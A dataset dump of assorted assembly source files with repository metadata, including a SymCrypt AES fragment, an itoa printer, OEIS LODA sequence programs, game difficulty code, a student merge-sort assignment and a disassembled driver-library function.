#0 ; get 0 in r1 str r2, [r0, #8] ; write back modified part of chaining state str r3, [r0, #12] ; strd r1, r1, [sp, #16] ; wipe the stack copy strd r1, r1, [sp, #24] ; SymCryptAesCtrMsb64NoData EPILOG_STACK_FREE 32 EPILOG_POP {r0-r2, r4-r11, pc} ; return NESTED_END SymCryptAesCtrMsb64Asm end
39.064482
111
0.414098
072646d75c02951caf056439cc754ec95baa9036
1,225
asm
Assembly
src/main.asm
ammarfaizi2/pure-itoa-asm
cc5d7561c3e019432ee7b3f9575f9826c8a48573
[ "MIT" ]
3
2018-11-28T09:06:49.000Z
2021-08-03T16:16:41.000Z
src/main.asm
ammarfaizi2/pure-itoa-asm
cc5d7561c3e019432ee7b3f9575f9826c8a48573
[ "MIT" ]
null
null
null
src/main.asm
ammarfaizi2/pure-itoa-asm
cc5d7561c3e019432ee7b3f9575f9826c8a48573
[ "MIT" ]
null
null
null
; @author Ammar Faizi <ammarfaizi2@gmail.com> https://www.facebook.com/ammarfaizi2 ; @license MIT ; @version 0.0.1 section .data a11 db 32 section .bss z11 resb 3 section .text global _start _start: mov rax,200 call itoa mov rax,60 xor rdi,rdi syscall itoa: mov r14,1 mov rbx,rax mov r15,0 mov r8,48 mov [z11],r8 call rnd ret rnd: call pz11 call pbl inc r15 cmp r15,100 jge pgg2 cmp r15,10 jge pgg cmp r15,10 jl pll ret pgg: mov r8,r15 mov rax,r8 mov r9,10 xor rdx,rdx idiv r9 add rax,48 add rdx,48 mov [z11],rax mov [z11+1],rdx mov r14,2 cmp r15,rbx jne rnd ret pgg2: mov r8,r15 mov rax,r8 mov r9,100 xor rdx,rdx idiv r9 add rax,48 mov [z11],rax cmp rdx,10 jl pgg21 cmp rdx,10 jge pgg22 ret pgg21: mov r8,48 mov [z11+1],r8 mov r8,rdx add r8,48 mov [z11+2],r8 mov r14,3 jmp epgg ret pgg22: mov rax,rdx xor rdx,rdx mov r8,10 idiv r8 add rax,48 mov [z11+1],rax mov r8,rdx add r8,48 mov [z11+2],r8 mov r14,3 jmp epgg ret epgg: cmp r15,rbx jng rnd ret pll: mov r8,r15 add r8,48 mov [z11],r8 cmp r15,rbx jne rnd ret pz11: mov rax,1 mov rdi,1 mov rsi,z11 mov rdx,r14 syscall ret pbl: mov rax,1 mov rdi,1 mov rsi,a11 mov rdx,1 syscall ret
11.036036
82
0.669388
589a3b5e4e65e25b4989e948284cd9dc48202b49
363
asm
Assembly
programs/oeis/305/A305166.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/305/A305166.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/305/A305166.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A305166: a(n) = 164*2^n - 140. ; 24,188,516,1172,2484,5108,10356,20852,41844,83828,167796,335732,671604,1343348,2686836,5373812,10747764,21495668,42991476,85983092,171966324,343932788,687865716,1375731572,2751463284,5502926708,11005853556,22011707252,44023414644,88046829428,176093658996,352187318132 mov $1,2 pow $1,$0 sub $1,1 mul $1,164 add $1,24 mov $0,$1
36.3
269
0.787879
a78137391d32068e64331520c091e00fe32e64cc
1,637
asm
Assembly
Cdiff.asm
ItaiCuker/Assembly8086CrossyRoad
414e0403edebe376f1151b965daafb9f27c48f7e
[ "MIT" ]
null
null
null
Cdiff.asm
ItaiCuker/Assembly8086CrossyRoad
414e0403edebe376f1151b965daafb9f27c48f7e
[ "MIT" ]
null
null
null
Cdiff.asm
ItaiCuker/Assembly8086CrossyRoad
414e0403edebe376f1151b965daafb9f27c48f7e
[ "MIT" ]
null
null
null
;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' proc difficulty ;כניסה: כאשר הניקוד עולה. ;יציאה: משנה את המשתנים של רמת הקושי אם הם הגיעו למס' הרצוי. בעזרת הפעולות speedDif וcardif ;calling the difficulty procedures. call speedDif call carDif ;adding to line counters. inc [dif_carN] inc [dif_speed] ret endp difficulty ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' proc speedDif ;כניסה: אין ;משנה את minspeed אם dif_speed הגיע למס, הרצוי. cmp [dif_speed], 50 ; < this number decides how many new lines does it take to make the speed higher. jne contDif1 mov [dif_speed], 0 ; zeroing line count variable. cmp [minSpeed], 1 ;checking if alredy max speed jz contDif1 dec [minSpeed] ;מגדיל את המהירות. contDif1: ret endp speedDif ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' proc carDif ;כניסה: אין ;משנה את minCars אם dif_carN הגיע למס, הרצוי. cmp [dif_carN], 50 ;; < this number decides how many new lines does it take to make the car number higher. jne contDif2 mov [dif_carN], 0 ; zeroing line count variable. cmp [minCars], 4 ;checking if alredy max cars jz contDif2 inc [minCars] ;מגדיל את מס' המכוניות. contDif2: ret endp carDif ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ;'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
32.74
109
0.466097
ea7b594051bd78f5facded84d2ec3095d2aa5ea1
17,779
asm
Assembly
Assignments/Assignment4.asm
WeiChienHsu/CS271
5f31b8a8bc40061fddaafeb8039e4b4b8f5b6c46
[ "MIT" ]
1
2019-01-06T22:35:53.000Z
2019-01-06T22:35:53.000Z
Assignments/Assignment4.asm
WeiChienHsu/CS271
5f31b8a8bc40061fddaafeb8039e4b4b8f5b6c46
[ "MIT" ]
null
null
null
Assignments/Assignment4.asm
WeiChienHsu/CS271
5f31b8a8bc40061fddaafeb8039e4b4b8f5b6c46
[ "MIT" ]
null
null
null
TITLE Program Assignment4 - Random Numbers Sorting (Assignment4.asm) ; Author: Wei-Chien Hsu ; Last Modified: 07/26/18 ; OSU email address: hsuweic@oregonstate.edu ; Course number/section: CS 271 Summer 2018 ; Assignment Number: Programming Assignment #4 Due Date: 08/05/18 ; Get a user request in the range 10 to 200 and generate request random integers ; in range 100 to 999, stroing them in consecutive elements of an array. ; Display the list of integers "before sorting, 10 numbers per line." ; Sort the list in descending order and Calculate and display the medium value, ; rounded to the nearest integer. ; Display the sorted list, 10 numbers per line. ; Requirements: ; 1. The title, programmer's name, and brief instructions must be displayed on the screen. ; 2. The program must validate the user’s request. ; 3. min, max, lo, and hi must be declared and used as global constants. ; Strings may be declared as global variables or constants. ; 4. The program must be constructed using procedures. At least the following procedures are required: ; Main / Introduction / GetData {para: request(reference)} / FillArray {para: request(value), array(reference)} / ; SortList {para: array(reference), request(value)} : ; exchange elements (for most sorting algorithms): ; {para: array[i] (reference), array[j] (reference), ; where i and j are the indexes of elements to be exchanged. ; DisplayMedian {para: array(reference), request(value)} ; DisplayList (only one) {para: array(reference), request(value), title(reference)} ; 5. Parameters must be passed by value or by reference on the system stack as noted above. ; 6. There must be just "one" procedure to display the list. This procedure must be called twice: ; once to display the unsorted list, and once to display the sorted list. ; 7. Procedures (except main) should not reference .data segment variables by name. ; request, array, and titles for the sorted/unsorted lists should be declared in the .data segment, ; but procedures must use them as parameters. Procedures may use local variables when appropriate. ; Global constants are OK. ; 8. The program must use appropriate addressing modes for array elements. ; 9. The two lists must be identified when they are displayed (use the title parameter for the display procedure). ; Extra Credit 2 :: Use a recursive sorting algorithm ; Extra Credit 3 :: Implement the program using floating-point numbers and the floating-point processor ; Extra Credit 5 :: Other: Added alignment procedure for displaying INCLUDE Irvine32.inc MAX_INPUT = 200 MIN_INPUT = 10 HI_RANGE = 999 LO_RANGE = 100 RANGE = HI_RANGE - LO_RANGE + 1 .data ; Introduction intro_1 BYTE " -- Sorting Random Numbers -- ", 0 intro_2 BYTE " -- Programmed by Wei-Chien Hus -- ", 0 intro_3 BYTE "This program generates a list of random numbers from 100 to 999, ", 0 intro_4 BYTE "displays the original list, sorted list, and calculates the median.", 0 intor_EC1 BYTE " Extra Credit :: Use a recursive sorting algorithm - Merge Sort ", 0 intor_EC2 BYTE " Extra Credit :: Implement the program using floating-point numbers and the floating-point processor ", 0 intor_EC3 BYTE " Extra Credit :: Created procedures to change text color and continue until user quits ", 0 ; Do not Copy and Paste - WeiChien Hsu ; User Instruction instruct_1 BYTE " Now, we're going to create a list of random numbers. ", 0 prompt BYTE " Please ENTER the total number of random digits between [10 and 200]: ", 0 error_msg BYTE " Input number is out of the RANGE. ", 0 ; Titles sortedTitle BYTE ":: Sorted Array : ",13, 10, 0 unsortedTitle BYTE ":: Unsorted Array : ",13, 10, 0 medianTitle BYTE ":: Median Number : ", 0 ; Array random_arr WORD 200 DUP(?) userInput DWORD ? ; EXIT message again_title BYTE "Run the program again? ", 0 again_msg BYTE "PRESS yes to again the program or no to leave", 0 good_bye BYTE "Results credited by Wei-Chien Hsu. Goodbye! Enjoy coding.", 0 .code main PROC ; Intorduction push OFFSET intro_1 ; [ebp + 36] push OFFSET intro_2 ; [ebp + 32] push OFFSET intro_3 ; [ebp + 28] push OFFSET intro_4 ; [ebp + 24] push OFFSET intor_EC1 ; [ebp + 20] push OFFSET intor_EC2 ; [ebp + 16] push OFFSET intor_EC3 ; [ebp + 12] push OFFSET instruct_1 ; [ebp + 8] call Introduction Redo: ; GetData push OFFSET error_msg ; [ebp + 16] push OFFSET prompt ; [ebp + 12] push OFFSET userInput ; [ebp + 8] call GetData ; Do not Copy and Paste - WeiChien Hsu ; Fill random numbers into the Array call Randomize ; Procedure provided by Irvine32 push RANGE ; [ebp + 20] push LO_RANGE ; [ebp + 16] push userInput ; [ebp + 12] push OFFSET random_arr ; [ebp + 8] call FillArray ; Display the unsorted Array and marked the color as Blue call SetTextBlue push OFFSET unsortedTitle ; [ebp + 16] push userInput ; [ebp + 12] push OFFSET random_arr ; [ebp + 8] call DisplayList call CrLf call CrLf ; Sort Array push userInput ; [ebp + 12] push OFFSET random_arr ; [ebp + 8] call SortList ; Dispaly Median and marked the color as Green call SetTextGreen push OFFSET medianTitle ; [ebp + 16] push userInput ; [ebp + 12] push OFFSET random_arr ; [ebp + 8] call displayMedian call CrLf ; Display the sorted Array and marked the color as Purple call SetTextPurple call CrLf push OFFSET sortedTitle ; [ebp + 16] push userInput ; [ebp + 12] push OFFSET random_arr ; [ebp + 8] call DisplayList call CrLf call CrLf ; Ask user for continue mov eax, 600 call delay mov ebx, OFFSET again_title mov edx, OFFSET again_msg call msgboxAsk cmp eax, IDYES ;6 for yes, 7 for no je Redo push OFFSET good_bye call FareWell exit ; exit to operating system main ENDP ;-------------------------------------------------------------------- PrintString MACRO string ; Make the variable in .data section passed as reference not name. ;-------------------------------------------------------------------- mov edx, string call writeString ENDM ;-------------------------------------------------------------------- Introduction PROC ; Displays program name, my name, program description and extra credits. ; Pre conditions: progName, author, and instruct shoud be defined. ; Receives: Those strings at [ebp + 8] [ebp + 12] [ebp + 16] [ebp + 20] ; [ebp + 24] [ebp + 28] [ebp + 32] [ebp + 36] ; Returns: Nothing ;-------------------------------------------------------------------- ;; Set Stack Frame and Push Registers push ebp mov ebp, esp push edx call SetTextGrey PrintString [ebp + 36] ; intro_1 call CrLf PrintString [ebp + 32] ; intro_2 call CrLf PrintString [ebp + 28] ; intro_3 call CrLf PrintString [ebp + 24] ; intro_4 call CrLf PrintString [ebp + 20] ; EC_1 call CrLf PrintString [ebp + 16] ; EC_2 call CrLf PrintString [ebp + 12] ; EC_3 call CrLf call CrLf PrintString [ebp + 8] ; instruct_1 call CrLf call CrLf pop edx pop ebp ret 32 Introduction ENDP ;-------------------------------------------------------------------- GetData PROC ; Get abd Store user's valid input around 10 to 200. ; Pre conditions: Push address of user input into the stack before called ; Receives: Address of UserInput variable [ebp + 8] (need to be updated), strings of ; error message [ebp + 16] and strings of prompt to user [ebp + 12]. ; Returns: User input Stroed in the variable UserInput already ;-------------------------------------------------------------------- ; Set Stack Frame and Push Registers push ebp mov ebp, esp push edx push eax AskForUser: call SetTextWhite printString [ebp + 12] ; prompt call readInt ; Read User input and store into EAX Register call CrLf cmp eax, MAX_INPUT ; Data Validation jg Invalid cmp eax, MIN_INPUT jge Valid Invalid: call SetTextRed printString [ebp + 16] ; error message call CrLf jmp AskForUser Valid: mov edx, [ebp + 8] ; Store the address of userInput into edx Register mov [edx], eax ; Save the User Input into the address of UserInput Variable by dereference pop eax pop edx pop ebp ret 12 GetData ENDP ;-------------------------------------------------------------------- FillArray PROC ; Fill in the value in the array by the numbers generated from Randomize procedure ; Pre conditions: Push address of array and value of UserInput into stack ; Receiveds: Value of user input [ebp + 12] and the Address of Array's first element [ebp + 8] ; Pass the global variables LO_Range and Range into Stack as well. ; Returns: Need to use ebp combines esp as a counter to fill in the array. ; Thus, procedure will return the filled array back. ;-------------------------------------------------------------------- ;; Set Stack Frame and Push Registers push ebp mov ebp,esp push eax push ecx push edi mov ecx, [ebp + 12] ; User Input mov edi, [ebp + 8] ; Random Numbers Array GetNextRandomNumber: mov eax, [ebp + 20] call RandomRange add eax, [ebp + 16] ; Generate the number by adding LOW limitation mov WORD PTR [edi], ax ; store the result add edi, 2 loop GetNextRandomNumber ; Loop until counter equal to 0 pop edi pop ecx pop eax pop ebp ret 16 FillArray ENDP ;-------------------------------------------------------------------- SortList PROC ; Implementaion of Merge Sort, split the array to left and right and ; sort them seperately. Store them in a temporary array in ordered and ; move the result into our pushed array in the stack. ; Receives: Value of array size [ebp + 12] and Random numbers array [ebp + 8] ;-------------------------------------------------------------------- ;; Set Stack Frame and Push Registers push ebp mov ebp,esp push edi push esi push edx push ecx push eax push ebx mov dx, [ebp + 12] ; User Input (Array Size) cmp dx, 1 ; When the last Merge Sort called only has one element je BaseCase ; if onlt 2 elements exchange and return cmp dx, 2 jne CreateAndFillTempArray mov esi, DWORD PTR [ebp + 8] mov bx, word ptr [esi] cmp bx, word ptr [esi+ TYPE WORD] ; Compare Previous value and Next Value ja BaseCase ; No need to Swap push esi ; Previous Index [ebp + 8] add esi, TYPE WORD push esi ; Next Index [ebo + 12] call Swap jmp BaseCase CreateAndFillTempArray: sub esp, DWORD PTR [ebp + 12] sub esp, DWORD PTR [ebp + 12] mov esi, DWORD PTR [ebp + 8] mov edi, esp cld mov ecx, DWORD PTR [ebp + 12] rep movsw ; Sort Left mov esi, esp mov edx, DWORD PTR [ebp + 12] shr edx, 1 push edx push esi call SortList ; Sort Right mov ecx, DWORD PTR [ebp + 12] and ecx, 0FFFFFFFEh ; clear LSB add ecx, esp mov edx, DWORD PTR [ebp + 12] shr edx, 1 jc isOdd jmp isEven isOdd: inc edx isEven: push edx push ecx call SortList ; ecx points to mid list and will serve as sentinal for left ; edx will serve as alternate source pointer from right list ; eax will serve as sentinal for right list mov eax, edi mov edx, ecx mov esi, esp mov edi, DWORD PTR [ebp + 8] cld Merge: cmp esi, ecx je Sorted_Right cmp edx, eax je Sorted_Left mov bx, word ptr [esi] cmp bx, [edx] ja AppendFromLeft AppendFromRight: xchg edx, esi movsw xchg edx, esi jmp Merge ; Append right part to the temp array AppendFromLeft: movsw jmp Merge ; Append left part to the temp array Sorted_Right: mov ecx, eax mov esi, edx ; Sort right side Sorted_Left: sub ecx, esi ; Sort left side shr ecx, 1 rep movsw RemoveTempArray: add esp, DWORD PTR [ebp + 12] add esp, DWORD PTR [ebp + 12] BaseCase: ; End the sorting Procese pop ebx pop eax pop ecx pop edx pop esi pop edi pop ebp ret 8 SortList ENDP ;-------------------------------------------------------------------- Swap PROC ; Swap two different vlaues from stack [ebp + 8] and [ebp + 12] ;-------------------------------------------------------------------- push ebp mov ebp,esp push eax push ebx push esi push edi mov esi, DWORD PTR [ebp + 8] ; First Index mov edi, DWORD PTR [ebp + 12] ; Second Index mov ax, WORD PTR [esi] ; Make a temperory variable mov bx, WORD PTR [edi] mov [esi], bx ; Assign the exchanged value mov [edi], ax pop edi pop esi pop ebx pop eax pop ebp Ret 8 Swap ENDP ;-------------------------------------------------------------------- DisplayMedian PROC ; Determines median of array and print it out ; Pre conditions: push User Input and Sorted Array. ;-------------------------------------------------------------------- push ebp mov ebp,esp push eax push ecx push edx push esi mov ecx, [ebp + 12] ; UserInput mov esi, [ebp + 8] ; OFFSET of random numbers array PrintString [ebp + 16] ; Output title ; ODD NUM ELEMENTS: median adress + 1 BYTE ; EVEN NUM ELEMENTS: first element of second half btr ecx, 0 jc isOdd movzx eax, WORD PTR [esi + ecx ] add ax, WORD PTR [esi + ecx - TYPE WORD] shr eax, 1 ;div by 2 to find average jc Round ;carry bit indicates result of xx.5 jmp Result Round: inc eax jmp Result isOdd: movzx eax, WORD PTR [esi + ecx] Result: call WriteDec call crlf pop esi pop edx pop ecx pop eax pop ebp ;restore callers stack frame ret DisplayMedian ENDP ;-------------------------------------------------------------------- DisplayList PROC ; Receives: Strings of displaying array [ebp + 16], user input as array size ; [ebp + 12] and Address of first element in random number array [ebp + 8] ; Pre conditions: push the values which need to be swap in both eax and ecx ;-------------------------------------------------------------------- ;; Set Stack Frame and Push Registers push ebp mov ebp,esp push eax push ecx push esi push edx push ebx mov ecx, [ebp + 12] ; num values requested mov esi, [ebp + 8] ; array adress PrintString [ebp + 16] mov ebx, 10 ; Number in each Raw GetNextNumber: movzx eax, WORD PTR [esi] call WriteDec push ecx mov ecx, 4 ; Space added 4 times mov al, ' ' space: call WriteChar loop space pop ecx dec ebx jz RenewLine ; numbers per line reached jmp NoNeedForNewLine ; else RenewLine: call crlf ; Change Line mov ebx, 10 ; reset numbers line count NoNeedForNewLine: add esi, 2 loop GetNextNumber pop ebx pop edx pop esi pop ecx pop eax pop ebp Ret 12 DisplayList ENDP ;-------------------------------------------------------------------- FareWell PROC ; Make the text blue, prvided by Irvine-32 Library ;-------------------------------------------------------------------- push ebp mov ebp, esp push eax push edx call SetTextGreen printString [ebp + 8] call CrLf pop edx pop eax pop ebp ret 4 FareWell ENDP ;-------------------------------------------------------------------- SetTextBlue PROC ; Make the text blue, prvided by Irvine-32 Library ;-------------------------------------------------------------------- push eax mov eax, 11 call setTextColor pop eax ret SetTextBlue ENDP ;-------------------------------------------------------------------- SetTextGreen PROC ; Make the text green, prvided by Irvine-32 Library ;-------------------------------------------------------------------- push eax mov eax, 10 call setTextColor pop eax ret SetTextGreen ENDP ;-------------------------------------------------------------------- SetTextGrey PROC ; Make the text grey, prvided by Irvine-32 Library ;-------------------------------------------------------------------- push eax mov eax, 7 call setTextColor pop eax ret SetTextGrey ENDP ;-------------------------------------------------------------------- SetTextPurple PROC ; Make the text purple, prvided by Irvine-32 Library ;-------------------------------------------------------------------- push eax mov eax, 13 call setTextColor pop eax ret SetTextPurple ENDP ;-------------------------------------------------------------------- SetTextRed PROC ; Make the text red, prvided by Irvine-32 Library ;-------------------------------------------------------------------- push eax mov eax, 12 call setTextColor pop eax ret SetTextRed ENDP ;-------------------------------------------------------------------- SetTextWhite PROC ; Make the text normal, prvided by Irvine-32 Library ;-------------------------------------------------------------------- push eax mov eax, 15 call setTextColor pop eax ret SetTextWhite ENDP END main
27.650078
123
0.575117
4fc7a7e7762f9bee53b770cb2030d7ccde9c6f26
186
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/z80/core/mm48__zero.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/z80/core/mm48__zero.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/z80/core/mm48__zero.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC mm48__zero, mm48__zero_no mm48__zero: xor a mm48__zero_no: ; set AC = 0 ld l,0 ld b,l ld c,l ld d,l ld e,l ld h,l ret
8.454545
32
0.591398
451379b2148911a17269c5f7768ba86df979601a
568
asm
Assembly
oeis/218/A218471.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/218/A218471.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/218/A218471.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A218471: a(n) = n*(7*n-3)/2. ; 0,2,11,27,50,80,117,161,212,270,335,407,486,572,665,765,872,986,1107,1235,1370,1512,1661,1817,1980,2150,2327,2511,2702,2900,3105,3317,3536,3762,3995,4235,4482,4736,4997,5265,5540,5822,6111,6407,6710,7020,7337,7661,7992,8330,8675,9027,9386,9752,10125,10505,10892,11286,11687,12095,12510,12932,13361,13797,14240,14690,15147,15611,16082,16560,17045,17537,18036,18542,19055,19575,20102,20636,21177,21725,22280,22842,23411,23987,24570,25160,25757,26361,26972,27590,28215,28847,29486,30132,30785,31445 mul $0,14 sub $0,3 pow $0,2 div $0,56
71
497
0.767606
ea49937fdb5fd2d09a226f0e46b4e9ee002d5d74
415
asm
Assembly
programs/oeis/009/A009947.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/009/A009947.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/009/A009947.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A009947: Sequence of nonnegative integers, but insert n/2 after every even number n. ; 0,0,1,2,1,3,4,2,5,6,3,7,8,4,9,10,5,11,12,6,13,14,7,15,16,8,17,18,9,19,20,10,21,22,11,23,24,12,25,26,13,27,28,14,29,30,15,31,32,16,33,34,17,35,36,18,37,38,19,39,40,20,41,42,21,43,44,22,45,46,23,47,48,24,49,50,25,51,52,26,53,54,27,55,56,28,57,58,29,59,60,30,61,62,31,63,64,32,65,66 mul $0,4 add $0,3 div $0,3 dif $0,2 div $0,2
46.111111
281
0.657831
0d97cd256d9eed5a725f1b5a965c41832ae32dac
426
asm
Assembly
programs/oeis/094/A094562.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/094/A094562.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/094/A094562.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A094562: Initial decimal digit of fractional part of pi*n, pi=3.1415... ; 1,2,4,5,7,8,9,1,2,4,5,6,8,9,1,2,4,5,6,8,9,1,2,3,5,6,8,9,1,2,3,5,6,8,9,0,2,3,5,6,8,9,0,2,3,5,6,7,9,0,2,3,5,6,7,9,0,2,3,4,6,7,9,0,2,3,4,6,7,9,0,1,3,4,6,7,9,0,1,3,4,6,7,8,0,1,3,4,6,7,8,0,1,3,4,5,7,8,0,1,3,4 add $0,4 lpb $0 sub $0,3 mul $0,17 sub $0,1 mov $2,$0 mov $0,1 mov $1,5 div $2,12 mod $2,10 add $2,6 add $1,$2 lpe sub $1,11
23.666667
205
0.532864
2787f04ba5ec5ba4e58aa6b161186263b4c9ab9a
12,763
asm
Assembly
library/02_functions_batch1/unknown_1000c8d0.asm
SamantazFox/dds140-reverse-engineering
4c8c286ffc20f2ee07061c83b0a0a68204d90148
[ "Unlicense" ]
1
2021-06-05T23:41:15.000Z
2021-06-05T23:41:15.000Z
library/02_functions_batch1/unknown_1000c8d0.asm
SamantazFox/dds140-reverse-engineering
4c8c286ffc20f2ee07061c83b0a0a68204d90148
[ "Unlicense" ]
null
null
null
library/02_functions_batch1/unknown_1000c8d0.asm
SamantazFox/dds140-reverse-engineering
4c8c286ffc20f2ee07061c83b0a0a68204d90148
[ "Unlicense" ]
null
null
null
1000c8d0: 51 push ecx 1000c8d1: 8d 4c 24 08 lea ecx,[esp+0x8] 1000c8d5: 2b c8 sub ecx,eax 1000c8d7: 83 e1 0f and ecx,0xf 1000c8da: 03 c1 add eax,ecx 1000c8dc: 1b c9 sbb ecx,ecx 1000c8de: 0b c1 or eax,ecx 1000c8e0: 59 pop ecx 1000c8e1: e9 6a 02 00 00 jmp 0x1000cb50 1000c8e6: 51 push ecx 1000c8e7: 8d 4c 24 08 lea ecx,[esp+0x8] 1000c8eb: 2b c8 sub ecx,eax 1000c8ed: 83 e1 07 and ecx,0x7 1000c8f0: 03 c1 add eax,ecx 1000c8f2: 1b c9 sbb ecx,ecx 1000c8f4: 0b c1 or eax,ecx 1000c8f6: 59 pop ecx 1000c8f7: e9 54 02 00 00 jmp 0x1000cb50 1000c8fc: 6a 0a push 0xa 1000c8fe: 6a 00 push 0x0 1000c900: ff 74 24 0c push DWORD PTR [esp+0xc] 1000c904: e8 9d 04 00 00 call 0x1000cda6 1000c909: 83 c4 0c add esp,0xc 1000c90c: c3 ret 1000c90d: 55 push ebp 1000c90e: 8b ec mov ebp,esp 1000c910: 83 ec 18 sub esp,0x18 1000c913: a1 10 00 01 10 mov eax,ds:0x10010010 1000c918: 33 c5 xor eax,ebp 1000c91a: 89 45 fc mov DWORD PTR [ebp-0x4],eax 1000c91d: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] 1000c920: 53 push ebx 1000c921: 56 push esi 1000c922: 33 f6 xor esi,esi 1000c924: 39 75 0c cmp DWORD PTR [ebp+0xc],esi 1000c927: 57 push edi 1000c928: c7 45 e8 4e 40 00 00 mov DWORD PTR [ebp-0x18],0x404e 1000c92f: 89 30 mov DWORD PTR [eax],esi 1000c931: 89 70 04 mov DWORD PTR [eax+0x4],esi 1000c934: 89 70 08 mov DWORD PTR [eax+0x8],esi 1000c937: 0f 86 46 01 00 00 jbe 0x1000ca83 1000c93d: 8b 10 mov edx,DWORD PTR [eax] 1000c93f: 8b 58 04 mov ebx,DWORD PTR [eax+0x4] 1000c942: 8b f0 mov esi,eax 1000c944: 8d 7d f0 lea edi,[ebp-0x10] 1000c947: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 1000c948: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 1000c949: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 1000c94a: 8b ca mov ecx,edx 1000c94c: c1 e9 1f shr ecx,0x1f 1000c94f: 8d 3c 12 lea edi,[edx+edx*1] 1000c952: 8d 14 1b lea edx,[ebx+ebx*1] 1000c955: 0b d1 or edx,ecx 1000c957: 8b 48 08 mov ecx,DWORD PTR [eax+0x8] 1000c95a: 8b f3 mov esi,ebx 1000c95c: c1 ee 1f shr esi,0x1f 1000c95f: 03 c9 add ecx,ecx 1000c961: 0b ce or ecx,esi 1000c963: 89 7d ec mov DWORD PTR [ebp-0x14],edi 1000c966: 8b f7 mov esi,edi 1000c968: 83 65 ec 00 and DWORD PTR [ebp-0x14],0x0 1000c96c: 8b da mov ebx,edx 1000c96e: c1 eb 1f shr ebx,0x1f 1000c971: 03 c9 add ecx,ecx 1000c973: c1 ef 1f shr edi,0x1f 1000c976: 0b cb or ecx,ebx 1000c978: 8b 5d f0 mov ebx,DWORD PTR [ebp-0x10] 1000c97b: 03 f6 add esi,esi 1000c97d: 03 d2 add edx,edx 1000c97f: 0b d7 or edx,edi 1000c981: 8d 3c 1e lea edi,[esi+ebx*1] 1000c984: 3b fe cmp edi,esi 1000c986: 89 30 mov DWORD PTR [eax],esi 1000c988: 89 50 04 mov DWORD PTR [eax+0x4],edx 1000c98b: 89 48 08 mov DWORD PTR [eax+0x8],ecx 1000c98e: 72 04 jb 0x1000c994 1000c990: 3b fb cmp edi,ebx 1000c992: 73 07 jae 0x1000c99b 1000c994: c7 45 ec 01 00 00 00 mov DWORD PTR [ebp-0x14],0x1 1000c99b: 33 db xor ebx,ebx 1000c99d: 39 5d ec cmp DWORD PTR [ebp-0x14],ebx 1000c9a0: 89 38 mov DWORD PTR [eax],edi 1000c9a2: 74 1a je 0x1000c9be 1000c9a4: 8d 72 01 lea esi,[edx+0x1] 1000c9a7: 3b f2 cmp esi,edx 1000c9a9: 72 05 jb 0x1000c9b0 1000c9ab: 83 fe 01 cmp esi,0x1 1000c9ae: 73 03 jae 0x1000c9b3 1000c9b0: 33 db xor ebx,ebx 1000c9b2: 43 inc ebx 1000c9b3: 85 db test ebx,ebx 1000c9b5: 89 70 04 mov DWORD PTR [eax+0x4],esi 1000c9b8: 74 04 je 0x1000c9be 1000c9ba: 41 inc ecx 1000c9bb: 89 48 08 mov DWORD PTR [eax+0x8],ecx 1000c9be: 8b 48 04 mov ecx,DWORD PTR [eax+0x4] 1000c9c1: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc] 1000c9c4: 8d 1c 11 lea ebx,[ecx+edx*1] 1000c9c7: 33 f6 xor esi,esi 1000c9c9: 3b d9 cmp ebx,ecx 1000c9cb: 72 04 jb 0x1000c9d1 1000c9cd: 3b da cmp ebx,edx 1000c9cf: 73 